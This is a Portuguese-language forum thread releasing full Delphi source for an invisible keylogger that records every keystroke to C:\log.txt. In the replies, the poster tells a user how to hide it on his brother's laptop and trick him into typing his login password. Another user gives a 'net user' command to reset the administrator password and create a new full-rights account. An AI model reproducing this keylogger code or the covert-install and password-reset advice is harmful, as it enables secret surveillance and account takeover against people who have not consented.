[Release]Keylogger Simples

[xXGabrielGTAXx 3]

Eae gente + um projeto meu em Delphi :D!

Bom como ja disse no titulo , irei passar um keylogger , que não tem função para mandar senha para alguem e talz!(Uso para checar se alguem meche no meu pc :D)

Ao abrir ele , ele não aparece (keylogger bom e keylogger invisivel XD) e ira pegar todas as teclas ([shift >] [ctrl] A [enter] etc....) e salvará elas em "C:\Log.txt"!

Source Code:

 

unit Unit1;

 

interface

 

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ExtCtrls, StdCtrls;

 

type

TForm1 = class(TForm)

Memo1: TMemo;

Timer1: TTimer;

procedure Timer1Timer(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

 

var

Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

function Coloca(txt: String): String;

var

ArquivoTexto: TextFile;

begin

Form1.Memo1.Text := Form1.Memo1.Text + txt;

try

try

AssignFile(ArquivoTexto, 'C:\log.txt');

if not FileExists('C:\log.txt') then Rewrite(ArquivoTexto,'C:\log.txt');

Append(ArquivoTexto);

WriteLn(ArquivoTexto, txt);

finally

CloseFile(ArquivoTexto);

end;

except

Application.MessageBox('Ocorreu um erro ao tentar gravar o arquivo. Verifique se o disco esta cheio, protegido contra gravação ou se você possui privilégios no sistema.','Erro ao criar arquivo',MB_OK+MB_ICONERROR);

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var keyloop: Integer;

begin

keyloop:=0;

repeat

if GetAsyncKeyState(keyloop)= -32767 then

begin

case keyloop of

1: Coloca(' [Click] ');

2: Coloca(' [Click >] ');

4: Coloca(' [Click Roda] ');

8: Coloca(' [backSpace] ');

9: Coloca(' [Tab] ');

12: Coloca(' [Alt] ');

13: Coloca(' [Enter] ');

VK_LSHIFT: Coloca(' [shift <] ');

VK_RSHIFT: Coloca(' [shift >] ');

VK_LCONTROL: Coloca(' [Ctrl <] ');

VK_RCONTROL: Coloca(' [Ctrl >] ');

VK_LMENU: Coloca(' [Alt <] ');

VK_RMENU: Coloca(' [Alt >] ');

19: Coloca(' [Pause] ');

20: Coloca(' [CapsLock] ');

21: Coloca(' [PageUp] ');

27: Coloca(' [Esc] ');

32: Coloca(' ');

33: Coloca(' [PageUp] ');

34: Coloca(' [PageDown] ');

35: Coloca(' [End] ');

36: Coloca(' [Home] ');

37: Coloca(' [seta <] ');

38: Coloca(' [seta ^] ');

39: Coloca(' [seta >] ');

40: Coloca(' [seta v] ');

44: Coloca(' [PrintScreen] ');

45: Coloca(' [insert] ');

46: Coloca(' [Del] ');

65..90: Coloca(Chr(keyloop));

91: Coloca(' [Win <] ');

92: Coloca(' [Win >] ');

93: Coloca(' [Menu PopUp] ');

96: Coloca(' [Num 0] ');

97: Coloca(' [Num 1] ');

98: Coloca(' [Num 2] ');

99: Coloca(' [Num 3] ');

100: Coloca(' [Num 4] ');

101: Coloca(' [Num 5] ');

102: Coloca(' [Num 6] ');

103: Coloca(' [Num 7] ');

104: Coloca(' [Num 8] ');

105: Coloca(' [Num 9] ');

106: Coloca(' [Num *] ');

107: Coloca(' [Num +] ');

109: Coloca(' [Num -] ');

110: Coloca(' [Num Del] ');

111: Coloca(' [Num /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NumLock] ');

145: Coloca(' [scrollLock] ');

186: Coloca('Ç');

187: Coloca('=');

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca('''');

193: Coloca('/');

194: Coloca(' [Num .] ');

219: Coloca('´');

220: Coloca(']');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (keyloop>=41) and (keyloop <= 63) then

Coloca(Chr(keyloop));

end; //case;

end;

inc(keyloop);

until

keyloop = 255;

end;

 

end.

Download:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

Scan:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

Creditos: DicasDeDelphi

[Sherex 0]

Ai tio o link do download vc colocou o mesmo do virustotal --'

[xXGabrielGTAXx 3]

Link arrumado :D

[Zaphey 2]

Muito bom, basicamente o tema da área nesse dia foi KL.

Estou gostando de você compartilhar seu conhecimento.

Continue assim.

 

Abraços!

[- NOOB 1]

Gostei ficou bem legalzin :p

depois irei dar uma olhada melhor nela :B

Obrigado por compartilhar.

Abraços!

[Mr.Doctor 0]

Parabéns Mano.

Também Sou Aprendiz De Programação.

Gostei Desse Seu Projeto.

Eu Baixei Testei Ficou Bem Legal.

[~EvilCode 79]

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

Onde estão os créditos?

[gilneto 0]

Tô querendo hackear o notebuke do meu irmão, tipow: eu tenho um notebuke, mas eu mexo muito no notebuke do meu irmão, mas o notebuke dele tem senha pra poder entrar,

daí quero roubar essa senha..(6 :sarcastico:

 

tenho algumas perguntas, tem como você me ajudar akê rapidin? :nerd:

 

 

1ª - Esse keylogger tbm consegue salvar a senha do notebuke? ( a senha é akela senha que vc coloca quando escolhe o "usuario" do pc[quando tem senha] )

2ª - Ei manow, e como que instala esse keylogger?

3ª - Tem como desinstalar? se tem, como desinstala?

 

 

 

 

cara, independente se o produto vai antender minhas necessidades ou não, só por responder minhas perguntas vc ja tem o meu "Agradecer" :tong:

=D

Vlws

:lol:

[xXGabrielGTAXx 3]

@~EvilCode esse codigo peguei do meu amigo mesmo ('Se nao fosse ele não estaria 'viciado' em delphi') mais irei colocar o credito pq nao sabia

@gilneto Kara simplismente você copia o Keylogger.exe para uma pasta (de preferencia oculta para ele não achar) e executa , mais essa parte da senha do usuario e foda , executa ele , e va em Trocar Usuario ( Ou aperte tecla do win + L) e fala que ele precisa digita :D

Para desinstalar , simplismente delete o KeyLogger.exe!

[~EvilCode 79]

Vá ao prompt do windows(cmd.exe), e digite, "net user administrador 1234"(sem áspas), após isso entre na conta de administrador e crie um novo usuário para você com todas as permissões, divirta-se.

[xXGabrielGTAXx 3]

@-EvilCode estranho neh? as vezes a gente pensa que tudo tem que ser no delphi , e é uma coisa tão facil k

Vlw man e flw saindo aki

[gilneto 0]

num to conseguindo instalar não :S

 

Ei manow, o note ficou abrindo dezenas de janelas, ficou aparecendo uma mensagem de erro assim:

"Ocorreu um erro ao tentar gravar o arquivo."

O q eu faço?

 

Vlws aê pelas respostas ;D

 

:lol:

[xXGabrielGTAXx 3]

Bom isso pode acontecer porque a partição não é a C: ou o disco esta protegido